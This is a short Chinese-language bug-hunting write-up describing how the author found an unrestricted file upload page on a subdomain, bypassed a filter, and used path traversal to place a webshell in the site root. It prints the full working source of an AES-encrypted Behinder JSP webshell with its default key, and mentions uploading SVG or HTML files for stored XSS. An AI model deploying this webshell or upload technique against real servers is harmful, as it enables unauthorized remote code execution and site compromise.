任意文件上传漏洞挖掘(getshell)
1.在漏洞挖掘过程中进行找到该子域名页面,
2.没有内容就扫目录,成功发现filemanager/,点击访问
看到upload页面感觉有惊喜,
果然有上传功能,点击上传抓包,经测试发现普通jsp会被拦截,蚁剑连不上,所以选择冰蝎马上传,因为冰蝎马默认AES加密
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
但是没有路径回显,看到path,于是尝试…/上传
可以看到有路径,在尝试…/…/后
访问后发现正好是网站根路径
直接尝试冰蝎连接,连接成功
至此,成功gethell
当然也可以上传svg,html文件形成存储型XSS,经测试都是可以的,这里完全对上传文件没有限制。